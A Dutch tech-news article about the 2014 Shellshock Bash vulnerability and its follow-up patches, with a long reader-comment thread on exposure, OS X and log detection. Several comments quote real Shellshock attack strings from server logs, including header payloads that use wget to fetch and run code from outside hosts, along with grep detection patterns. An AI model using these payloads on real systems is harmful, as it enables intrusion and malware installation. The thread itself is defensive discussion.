Nieuwe patch voor Bash-bug beschikbaar

Het beveiligingsprobleem in de Bash-shell, dat vooral gebruikers van Linux trof, moet nu echt opgelost zijn. Een eerdere patch bleek incompleet, maar een nieuwe patch zou het beveiligingsprobleem volledig moeten verhelpen.

Donderdag bleek dat het in bepaalde gevallen nog steeds mogelijk was om Bash op afstand eigen code te laten uitvoeren. In de nacht van donderdag op vrijdag is een patch beschikbaar gekomen die ook dat moet verhelpen. De patch is inmiddels uitgerold door onder meer Red Hat en Ubuntu; alleen gebruikers van de bètaversie van Ubuntu 14.10 zijn op het moment van schrijven nog kwetsbaar.

Ook Apple, dat de Bash-shell met OS X meelevert, werkt aan een patch, maar benadrukt dat gebruikers standaard niet kwetsbaar zijn: alleen als ze 'geavanceerde Unix-diensten zelf hebben geconfigureerd', zo zegt een woordvoerder van Apple tegenover de website iMore. Het is onduidelijk wat een OS X-gebruiker moet hebben gedaan om kwetsbaar te zijn.

Het beveiligingsprobleem in Bash kwam woensdagavond aan het licht. Het liet kwaadwillenden eigen code in een zogenoemd environment-variabel stoppen, waarna het werd uitgevoerd zodra een systeem een Bash-sessie initieert. De implicaties zijn in potentie groot, omdat veel applicaties leunen op shell-scripts en sommigen daarvan via het internet te benaderen zijn, bijvoorbeeld cgi-scripts. Al die applicaties zijn mogelijk kwetsbaar, tenzij ze worden gepatcht.

Het probleem is dat apparaten als routers, nas-systemen en zelfs draadloze webcams met een ingebouwde webserver vaak minder snel worden gepatcht dan een desktop-besturingssysteem, en daardoor nog jarenlang kwetsbaar kunnen zijn. Dat is dan ook een van de redenen dat beveiligingsonderzoeker Robert Graham de bug 'net zo groot als Heartbleed' noemt. Dat was een beveiligingsprobleem in OpenSSL waarbij een deel van de inhoud van het interne geheugen van een server kon worden uitgelezen.

Ondertussen maken aanvallers al misbruik van het beveiligingsprobleem om websites aan te vallen, zeggen beveiligingsonderzoekers tegenover Wired. Ook Tweakers ziet in zijn serverlogs scans langskomen; een deel daarvan is onschuldig, maar er worden ook pogingen gedaan om eigen code te injecteren.

Reacties (92)

[pietermx]

Zojuist was o.a. http.debian.net tijdelijk onbereikbaar, om vervolgens packages met een ongeldige ondertekening te serveren:

WARNING: The following packages cannot be authenticated!
bash

Iets / iemand misbruik aan het maken van de situatie...? #paranoid

[edit]

Inmiddels ligt de mirror er compleet uit (HTTP 502). Controleer a.u.b. de ondertekening van packages die je binnenhaalt (idem voor Ubuntu en andere distro's), het lijkt er op dat meerdere mirrors een ongeldige ondertekening gebruiken ofwel mogelijk besmet zijn met het een of ander...!!!

[Reactie gewijzigd door pietermx op 26 juli 2024 04:00]

[RPAngelov]

https://www.debian.org/security/2014/dsa-3035 het staat wel officieel op de security page ?

[pietermx]

Het heeft niet te maken met de update an sich, maar met de (APT) mirrors via waar Debian zijn updates vanaf haalt. Alle packages zijn ondertekend, maar het blijkt dat er nu verschillende mirrors zijn waar http.debian.net naar verwijst waarbij de ondertekening niet klopt.

Dit wijst er mogelijk op dat deze mirrors besmet zijn, iets wat in het verleden al eens eerder gebeurd is (bv. de Debian mirror @ kernel.org). Natuurlijk een uitgelezen kans om dat bij een update die zo in de belangstelling staat te misbruiken.

Ik heb voor nu simpelweg een andere mirror gepakt (ftp.nl.debian.org), kan me echter voorstellen dat er mensen zijn die bij iedere vraag gewoon op "Y" klikken en vervolgens met een mogelijk besmette versie van bash zitten opgescheept...

Misschien allemaal paranoïde, maar liever het zekere voor het onzekere

[SuperDre]

Yep, akamai servers zijn bv al aangevallen en zijn besmet (geweest) met een botnet, en nog meer grote jongens...

[pietermx]

Thx, reactie aangepast. Dit krijgt vast nog een staartje (aangezien veel gebruikers gewoon op "Y" rammen bij alle vragen tijdens het updaten.... )

[thunder7]

Het probleem is dat apparaten als routers, nas-systemen en zelfs draadloze webcams met een ingebouwde webserver vaak minder snel worden gepatcht dan een desktop-besturingssysteem, en daardoor nog jarenlang kwetsbaar kunnen zijn.

Dit gerucht blijft hardnekkig terugkomen, maar gezien de grootte van bash, zowel op schijf als in het geheugen, gebruiken heel, heel veel routers en nas-systemen kleinere alternatieven, meestal busybox.

[Ultra]

Zie o.a. http://tweakers.net/nieuw...eaction=7211282#r_7211282:

• QNAP wel
• WD Mycloud wel
• Synology DSM niet
• wrt niet

[pietermx]

Behalve de checks die sommige bots uitvoeren wordt er nu ook actief misbruik gemaakt (in dit geval: poging tot ) van deze bug:

"GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 7155 "-" "() { :;}; /bin/bash -c \"/usr/bin/wget http://singlesaints.com/firefile/temp?h=******* -O /tmp/a.pl\""

(******* = hostname van de desbetreffende site...)

Dit is de eerste poging tot misbruik die ik tegenkom, naast ladingen scans zoals via http://blog.erratasec.com...ock-scan-of-internet.html (waar ik verder geen bezwaar in zie).

[WhatsappHack]

Heb je mazzel dat cPanel volautomatisch al heeft geupdate

[BioHzRd]

Als je niet kan wachten op een patch kan je altijd zelf bash updaten in Mac OSX

http://apple.stackexchang...014-6271-an/146851#146851

[RoestVrijStaal]

MSYS, MSYS2 en Cygwin gebruikers: vergeet ook niet om bash te updaten!

MSYS (gebruikte ik vroeger, zit nu op MSYS2):
mingw-get update
mingw-get upgrade mingw-get
mingw-get upgrade bash

MSYS2:
pacman -Sy
pacman -S --needed filesystem msys2-runtime bash libreadline libiconv libarchive libgpgme libcurl pacman ncurses libintl
pacman -Sy (eventueel)
pacman -S bash (eventueel)

[Reactie gewijzigd door RoestVrijStaal op 26 juli 2024 04:00]

[z1rconium]

apache, ssh lijken me goede mogelijkheden voor de exploit.

[MAX3400]

Elke http-daemon die cgi-scripts draait is in principe kwetsbaar; SSH is per definitie een stuk minder kwetsbaar omdat je eerst authenticated moet zijn voordat je een malicious stuk bash-code mag aftrappen. Op het moment dat "anderen" jouw machine kunnen benaderen en inloggen via SSH, heb je een groter probleem dan wat er nu in het artikel staat.

[psyBSD]

'anderen' die connecten met jouw gitolite instance... - denk aan public diensten als github.

Het probleem is dat je met deze vulnerability restricted-shell omgevingen zou kunnen omzeilen. Arbitraire code uitvoeren op een server waar je alleen git commando's zou mogen doen is wel degelijk een reeel probleem.

[Gogar]

DHCP schijnt ook kwetsbaar te zijn:
https://www.trustedsec.co...k-dhcp-rce-proof-concept/

[ISaFeeliN]

Weet iemand hoe logs (apache/nginx whatever) eruit zien als er gepoogd wordt de bash bug via websites aan te vallen?

[Kees]

Als je de Host, Referer of UserAgent headers logged dan kun je greppen op iets als 'egrep '\(\).*{*'

Of als je iets als Graylog2 gebruikt zoals ik bij tweakers, dan kun je zoeken op 'HostHeader:\(\)* OR Referer:\(\)* OR UserAgent:\(\)*'

In het geval van tweakers ziet een (in dfit geval malicious) attack er dan ongeveer zo uit:
HostHeader ().{.:;.};.wget.-O./tmp/besh.http://-knip-/nginx;.chmod.777./tmp/besh;./tmp/besh;
UserAgent () { :;};ls -lsa
Referer () { :;};ls -lsa

Of de nieuwe manier (die deze update hopelijk oplost) in dit geval een scan:
Referer: () { (a)=>' bash -c '/usr/local/bin/wget http://shellshock.brandon...ash-c-usr-local-bin-wget'

Verder zie je ook heel veel scanners voorbij komen zoals shellshock.brandonpotter.com en https://shellshock.detectify.com

[Reactie gewijzigd door Kees op 26 juli 2024 04:00]

[pennywiser]

Vroeg mij ook al af waarom Tweakers niet even wat behulpzamer is..

Kwam dit tegen in access log van nginx:

107.144.6.94 - - [25/Sep/2014:22:52:27 +0200] "GET /tmUnblock.cgi HTTP/1.1" 400 172 "-" "-"

[Ultra]

`grep "() {" /var/log/apache2/access.log`, al is dat schijnbaar met weinig moeite te omzeilen.

[pennywiser]

Nog een hele mooie, ook nginx access log, grep even op cgi in /var/log en kijk wat je zoal vindt:

89.207.135.125 - - [25/Sep/2014:07:55:20 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 168 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Waardeloos Tweakers, wel cocky beweren, nee wij zien ook allerlei shit, maar niet even verder willen helpen hoe je dat gedaan hebt. Lekker alles voor jezelf willen houden maar wel willen flashen hoe goed je wel niet bent..

Sharing knowledge = multiplying knowledge.

[alexvanniel]

Voor OS X gebruikers: Wij draaien hier twee standaard uitgeruste Mac Pro's waar dus geen "geavanceerde services" op aangezet zijn door ons. Wanneer ik de bash shellshock test in de terminal doe dan blijkt dat de installatie toch echt wel kwetsbaar is voor deze bug. Laat je dus niet zo maar iets op je mouw spelden en controleer het zelf even. In ons geval hebben wij dan dus blijkbaar toch iets gedaan om de zogenaamde "geavanceerde services" te activeren, óf Apple probeert op deze manier de gemoederen te sussen tot ze een patch beschikbaar hebben. Een gewaarschuwd mens telt voor twee, laten we het daar maar op houden.

[NovapaX]

Dat jij in een bash terminal die je zelf geopend hebt dit kan uitvoeren klopt.
Dat wil niet zeggen dat je systeem kwetsbaar is.
Het gaat erop dat je niet van buitenaf iets in bash kan uitvoeren.
Dus tenzij je bijvoorbeeld een webserver draait die dingen in bash gaat doen met data die door gebruikers aangeleverd wordt (ook headers etc.) dan is er niets aan de hand.

Webserver die cgi script kan uitvoeren kwalificeert dus als 'advanced services' wat me op zich wel terecht lijkt.

[alexvanniel]

Een geïnfecteerde DHCP server die aan dhclient data doorgeeft die dhclient dan weer in een ENV variabele set is anders een reële manier om deze bug te misbruiken en daar hoef je verder als gebruiker niets speciaals voor te doen. Het is maar één voorbeeld. De repercussies van deze bug lijken misschien in eerste instantie onschuldig maar verdiep je eens in een aantal systeem processen en het zal je verbazen hoeveel die gebruik maken van bash... Je hoeft er geen server-achtige dingen voor te draaien. En ook niet persé als user dit in een terminal uit te voeren.

[CyBeR]

Wanneer ik de bash shellshock test in de terminal doe dan blijkt dat de installatie toch echt wel kwetsbaar is voor deze bug.

Nee. Je hebt inderdaad bash geinstalleerd, maar in een OSX installatie waarin jij geen rare dingen hebt gedaan is er geen manier om die kwetsbaarheid te gebruiken. In ieder geval niet remote.

[FreshMaker]

Wat ik dan niet begrijp, is dat Apple al direct zijn commentaar klaar heeft dat het bij de gebruiker zou liggen.
Los het op, neem het boetekleed, en reageer door snelle oplossingen.

Zoals nu lijkt, is een groot deel, zo niet alle bashversies kwetsbaar, niets mis mee ( buiten het gevaar dan ) maar leg de schuld niet bij de gebruiker

[jorikc]

Ik geloof niet dat hier gezegd wordt dat er schuld bij de gebruikers ligt. "With OS X, systems are safe by default and not exposed to remote exploits of bash unless users configure advanced UNIX services. We are working to quickly provide a software update for our advanced UNIX users." Er wordt alleen aangegeven dat Mac installaties standaard niet vatbaar zijn van buitenaf.

[Maurits van Baerle]

De situatie voor Apple (en Microsoft) ligt iets complexer dan de meeste situaties.

De Linux distro’s kunnen zeggen: “Onze distro is veilig zolang je de meest recente Bash versie gebruikt”. De BSD’s en embedded device manufacturers (routers, webcams etc.) kunnen zeggen: “Wij gebruiken alternatieven voor Bash dus zijn niet kwetsbaar”.

Voor Apple ligt het iets ingewikkelder. OS X maakt geen gebruik van Bash dus normale gebruikers zijn niet kwetsbaar omdat OS X services nooit Bash aanroepen. Maar, er wordt wel een versie van Bash meegeleverd met OS X voor mensen die zelf speciale UNIX services installeren, applicaties porten van *BSD / Linux of developen voor UNIX systemen.

Daarom meldt de test dus dat OS X kwetsbaar is. De test roept Bash rechtstreeks aan (wat bij normale users nooit zou gebeuren) en dus krijg je een melding dat hij inderdaad kwetsbaar is. De mensen die Bash nodig hebben op OS X moeten hem dus handmatig updaten of wachten tot Apple binnenkort met een automatische update komt.

De Apple mededeling is dus: “OS X is veilig zolang je geen UNIX services installeert”. Een zelfde boodschap als Microsoft: “Windows is veilig zolang je geen Cygwin installeert”.

[Reactie gewijzigd door Maurits van Baerle op 26 juli 2024 04:00]

[Verwijderd]

Wanneer is een Mac installatie volgens jou nog standaard? Zodra je iets met je Mac hebt gedaan, geeft dit Apple een reden om te kunnen zeggen "je installatie is niet standaard". Dit geeft onduidelijkheid en dat wil je juist niet.

[qlum]

Het punt is dat om deze bug te gebruiken je eerst toegang tot bash moet krijgen. Dit gaat je niet zomaar van buitenaf lukken zonder dat je iets externs bash commando's laat uitvoeren. Dit gaat volgens mij ook op voor de meeste linux distro's.

[proatjeboksem]

Zie de dhcp client(?) vulnerability die Gogar hieronder post:

https://www.trustedsec.co...k-dhcp-rce-proof-concept/

Ik weet alleen ff niet met wat voor privileges je dhcp client normaliter wordt gestart, maar in het voorbeeld wordt 'ie met een sudo afgetrapt. Denk je alleen een ip-adres te krijgen...

[Verwijderd]

Bash wordt juist vaak gebruikt door diverse programma's en services om iets externs af te handelen. Een normale gebruiker (waaronder ik) heeft geen idee welke programma's en services dat allemaal zijn. Dat maakt het probleem ook zo groot.

[Mijzelf]

Je kunt het testen. Rename bash:

mv /bin/bash /bin/bash.oud
Maak een nieuw script /bin/bash:
<code>
#!/bin/sh

echo $( date ) bash aangroepen $0 $@ >>/tmp/bash.log

exec /bin/bash.oud "$@"
</code>
Maak script executable:
chmod a+x /bin/bash

Dit logt alle bash aanroepen naar /tmp/bash.log. Het moet ook mogelijk zijn om daar een stacktrace bij te zetten, maar ik weet alleen in Linux hoe dat moet.

Het is mogelijk dat bash niet in /bin staat. Test met 'which bash' en pas zonodig de paden aan.
Controleer eerst of /bin/sh niet toevallig een symlink naar bash is. In dat geval zal dit script ontploffen.

/Edit: maak even /tmp/bash.log aan, en maak het schrijfbaat voor iedereen:
touch /tmp/bash.log
chmod a+w /tmp/bash.log

[Reactie gewijzigd door Mijzelf op 26 juli 2024 04:00]

[goarilla]

Controleer eerst of /bin/sh niet toevallig een symlink naar bash is. In dat geval zal dit script ontploffen.

Forkbomb ? Tevens zou ik een systeem binary niet zo snel willen wrappen om te 'testen'.

[Reactie gewijzigd door goarilla op 26 juli 2024 04:00]

[Verwijderd]

Vergeet ook even niet je default shell aan te passen in /etc/passwd. Als bash je shell is en je veranderd de bash binary en je logt vervolgens uit je systeem, heb je een ander probleem wat je op moet lossen

edit: O wacht, je doet een exec naar bash.oud... laat maar dus.

[Reactie gewijzigd door Verwijderd op 26 juli 2024 04:00]

[Mijzelf]

Nee. Het script neemt het over. Logt dat bash is aangeroepen, en geeft de aanroep door aan de binary.

[goarilla]

Je kan altijd zien welke programma's system(), exec*() callen
met dtrace. Makkelijk is het uiteraard inderdaad niet.

[Maurits van Baerle]

De crux is dat geen enkel standaard OS X programma of service Bash gebruikt. Je moet dus speciaal aan de slag met niet-standaard apps (die je bijvoorbeeld zelf gecompileerd hebt of geport vanaf Linux) voordat je iets hebt dat uit zichzelf Bash zal aanroepen.

[Siebsel]

Volgens mij staat dat er heel duidelijk

unless users configure advanced UNIX services

[Verwijderd]

OS X is een UNIX gebaseerd systeem. Dus feitelijk alles wat je doet nadat je hem aanzet zijn advanced UNIX services.

[Siebsel]

Je wilt het niet snappen hè? In OSX kun je een functie aanzetten die de (wat Apple verstaat onder) advanced services activeert. Doe je dat niet, heb je ook geen last van dit probleem. Er is dus een user actie vereist voordat je kwetsbaar bent, en die actie zullen veel thuis-gebruikers of mensen die dit nieuws niet volgen niet uitgevoerd hebben.

[Reactie gewijzigd door Siebsel op 26 juli 2024 04:00]

[bazzi]

OK klinkt goed, maar wat als de dhcp cliënt, gebruikt die geen bash, of pas bash als je advance services activeert? als de dhcp cliënt ook leunt op bash is het een groot probleem en in veel Unix omgevingen gebeurd dat, misschien wel bijna alle...

[goarilla]

Ik denk het niet. Apple heeft init, cron, etc ... vervangen door launchd.
Ik denk dat ze voor hun "locatie" netwerkprofielen ookwel dchlient/dhcpcd vervangen zullen hebben.

[Verwijderd]

die actie zullen veel thuis-gebruikers of mensen die dit nieuws niet volgen niet uitgevoerd hebben.

Ik denk dat jij niet snapt dat het probleem dus is dat Apple nogal vaag is over welke acties dit zijn. Je doet een aanname die wel makkelijk is, maar daardoor nog niet meteen waar.

[Barryke]

Screenshot? Waar zit dat vinkje, of hoe zet je dat "aan"? Hoe kan je zien of "advanced UNIX services" aan of uit staat?

[DigitalExorcist]

Als je zelf niet weet of dat aanstaat of niet, staat het uit en hoef je je er niet druk over te maken

[Verwijderd]

misschien moet je het orignele artikel even lezen

"If you're an advanced enough user to have enabled the types of services that can be exploited by Shellshock, you're also likely advanced enough to turn those services off for now, or to patch bash yourself using Xcode."

[lappro]

Sorry hoor, maar dat zijn wel erg veel aannames en totaal geen concrete voorbeelden.
Wat als een gebruiker een probleem had mijn zijn OS X pc, lekker gegoogled en een paar oplossingen geprobeerd waarvan 1 zegt dat je die services aan moet zetten. Die gebruiker heeft geen idee en doet maar wat in de hoop dat zijn probleem voorbij is.
Sowieso dat die gebruiker nu niet opeens denkt, 'hé toen lang geleden zei die vage tutorial op internet dat ik die advanced unix services aan moest zetten, maar die zijn nu lek dus zal ik die is uitzetten.'
In dit soort situaties is het handig om concreet te zijn ook als je verwacht dat het gross van de gebruikers veilig zit.

[DJFliX]

Ik heb zo het vermoeden dat het gaat over het de eerste keer aanroepen van sudo in OS X. De eerste keer dat je dit doet krijg je een melding dat het potentieel gevaarlijk is blablabla. Misschien vinden ze als je daar je wachtwoord invoert dat je Advanced UNIX services geactiveerd hebt?

Vaag plaatje van het bericht dat je dan krijgt:
http://img.wonderhowto.co...s-x-terminal.1280x600.jpg

[IStealYourGun]

Wat dus een geruststelling is voor mensen die een Apple thuis hebben maar een stuk minder geruststellend voor bedrijven. Die hebben die kwetsbare services soms wel ingeschakeld omdat het onderdeel is van hun infrastructuur en hebben dus wel nood aan een dringende patch.

[Reactie gewijzigd door IStealYourGun op 26 juli 2024 04:00]

[Hardfreak]

Ik zie niet in waarom Appel de gebruikers "de schuld" geeft, ze zeggen gewoon dat een standaard Mac systeem niet vatbaar is tenzij je "iets" hebt aangepast aan je settings (al hadden ze hier wel iets duidelijker mogen zijn).
Zie het een beetje als werken in Windows als administrator, zonder UAC, zonder firewall en zonder virusscanner, in dit geval ben je kwestbaar(der), maar niet persé schuldig.

[dipje2]

And there we go again, gisteren net de nieuwe bash gecompiled op al de oude Ubuntu 11.04 boxes die we (helaas , ahem) nog hebben staan, kan nu het feest nog een keer. It's for a good cause zullen we maar zeggen .

[paradoXical]

Voor 10.04 is gewoon een patch beschikbaar, ik raad je aan om in het vervolg echt een LTS release te gebruiken..

[dipje2]

Ik weet dat het zeuren is om niks, compilen is zo gedaan (en pak gewoon de source ubuntu package van de laatste versies), maar de realiteit is nou eenmaal dat je heel vaak dingen in je schoot krijgt geworpen waar je geen keus hebt over hoe het is opgezet.

Ik kan ook wel zeuren 'ja maar dat is outdated en geen LTS' maar dat zal m'n baas weinig uithalen hoor. Dat is gewoon 'dit is je opdracht, make it happen'.

[pennywiser]

Dan maak je niet genoeg je punt over security -> jouw bad.

[paradoXical]

Dan is dit het juiste moment op je punt te maken. Slechte keuze's kunnen in de toekomst slecht uitpakken

[pennywiser]

Maar daar vraag je zelf toch om op een OS waar de support al bijna 2 jaar vanaf is.. Waarom dan hier klagen.. Ik denk dat je nog wel wat meer te patchen hebt..

[Reactie gewijzigd door pennywiser op 26 juli 2024 04:00]